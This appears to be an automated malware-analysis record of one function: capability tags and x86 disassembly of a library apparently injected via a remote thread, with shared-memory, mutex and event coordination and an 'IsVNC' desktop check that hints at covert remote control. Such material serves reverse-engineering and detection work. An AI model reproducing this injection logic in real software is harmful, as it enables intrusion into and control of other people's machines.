Function at 0x18d2bb80
Capabilities:
Check http status code
Check mutex and terminate process on windows
Check mutex on windows
Read file via mapping
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
push str.injected_
call fcn.18d332d0
add esp, 4
mov dword [ebp - 0x120], 0x114
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov ecx, 5
cmp ecx, dword [ebp - 0x11c]
sbb edx, edx
add edx, 1
mov byte [0x18d38a36], dl
call fcn.18d2c080
mov dword [0x18d38cb8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x18d38ccc], eax
mov eax, dword [0x18d38ccc]
push eax
call fcn.18d21bf0
add esp, 4
test eax, eax
jne 0x18d2bc22
push 0x7b1c204b
push 0x1a
push 0x18d349a4
call fcn.18d217f0
add esp, 0xc
push eax
push 1
push 0x170
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
push 0x18d390d8
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [0x18d38cbc], eax
cmp dword [0x18d38cbc], 0
jne 0x18d2bc75
push 0x7cea3366
push 0x12
push 0x18d349dc
call fcn.18d217f0
add esp, 0xc
push eax
push 2
push 0x179
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
push 0x18d38cd8
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [0x18d38cc4], eax
cmp dword [0x18d38cc4], 0
jne 0x18d2bcc5
push 0x8020c824
push 0x14
push 0x18d349f0
call fcn.18d217f0
add esp, 0xc
push eax
push 2
push 0x182
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
push 0
push 0
push 0
push 4
mov ecx, dword [0x18d38cc4]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x18d38cc8], eax
cmp dword [0x18d38cc8], 0
jne 0x18d2bd1b
push 0xde81f2b5
push 0x15
push 0x18d34a08
call fcn.18d217f0
add esp, 0xc
push eax
push 2
push 0x18b
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
push 0x18d392d8
push 0
push 6
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [0x18d38cd0], eax
cmp dword [0x18d38cd0], 0
jne 0x18d2bd6b
push 0xc34af627
push 0x13
push str.Ikm_a
call fcn.18d217f0
add esp, 0xc
push eax
push 2
push 0x194
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
push 0
push 0
push 0
push 6
mov edx, dword [0x18d38cd0]
push edx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x18d39568], eax
cmp dword [0x18d39568], 0
jne 0x18d2bdc1
push 0xae381e4f
push 0x14
push 0x18d34a34
call fcn.18d217f0
add esp, 0xc
push eax
push 2
push 0x19d
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
call fcn.18d2dfb0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x13c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push eax
call fcn.18d2ae30
add esp, 8
movzx edx, al
test edx, edx
je 0x18d2be1b
mov eax, dword [ebp - 4]
push eax
push str.IsVNC___x
call fcn.18d332d0
add esp, 8
mov ecx, dword [ebp - 4]
push ecx
call fcn.18d2b280
jmp 0x18d2bffa
push 0x18d38ed8
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [0x18d38cc0], eax
cmp dword [0x18d38cc0], 0
jne 0x18d2be6e
push 0x5b7f9aa6
push 0xf
push 0x18d34a60
call fcn.18d217f0
add esp, 0xc
push eax
push 2
push 0x1b2
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
call fcn.18d2c3b0
mov edx, dword [0x18d39568]
push edx
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jne 0x18d2bec9
push 0xb0cdb1bf
push 0x1f
push 0x18d34a70
call fcn.18d217f0
add esp, 0xc
push eax
push 2
push 0x1bd
push str.injlib_remote_thread.cpp
push str.RemoteThread
call fcn.18d21920
add esp, 0x14
jmp 0x18d2c002
push 0xffffffffffffffff
mov eax, dword [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [0x18d39568]
add ecx, 0x78
mov dword [ebp - 0x144], ecx
mov dword [ebp - 0x148], 0
jmp 0x18d2bf02
mov edx, dword [ebp - 0x148]
add edx, 1
mov dword [ebp - 0x148], edx
cmp dword [ebp - 0x148], 0x190
jae 0x18d2bf59
mov eax, dword [ebp - 0x148]
imul eax, eax, 0x18
mov ecx, dword [ebp - 0x144]
cmp dword [ecx + eax + 8], 0
jne 0x18d2bf57
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, dword [ebp - 0x148]
imul edx, edx, 0x18
mov ecx, dword [ebp - 0x144]
mov dword [ecx + edx], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, dword [ebp - 0x148]
imul edx, edx, 0x18
mov ecx, dword [ebp - 0x144]
mov dword [ecx + edx + 8], eax
jmp 0x18d2bf59
jmp 0x18d2bef3
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 1
mov eax, dword [0x18d38cc0]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x18d2bfde
lea ecx, [ebp - 0x164]
push ecx
call fcn.18d32e20
add esp, 4
test eax, eax
je 0x18d2bfdc
push 0
lea edx, [ebp - 0x164]
push edx
call fcn.18d33020
add esp, 8
cmp dword [ebp - 0x160], 1
jne 0x18d2bfdc
mov byte [0x18d395d0], 1
mov eax, dword [ebp - 0x15c]
push eax
push str.enter__X
call fcn.18d332d0
add esp, 8
mov ecx, dword [ebp - 0x15c]
push ecx
call fcn.18d2b280
push str.leave
call fcn.18d332d0
add esp, 4
jmp 0x18d2bf66
mov edx, dword [ebp - 0x140]
push edx
call fcn.18d21ba0
add esp, 4
call fcn.18d2c440
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jne 0x18d2bb96
call fcn.18d2dfe0
cmp dword [0x18d38cb8], 0
je 0x18d2c018
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x18d39568]
push ecx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, dword [0x18d38cd0]
push edx
call fcn.18d21ba0
add esp, 4
mov eax, dword [0x18d38cc0]
push eax
call fcn.18d21ba0
add esp, 4
mov ecx, dword [0x18d38cbc]
push ecx
call fcn.18d21ba0
add esp, 4
mov edx, dword [0x18d38cc8]
push edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [0x18d38cc4]
push eax
call fcn.18d21ba0
add esp, 4
mov esp, ebp
pop ebp
ret 4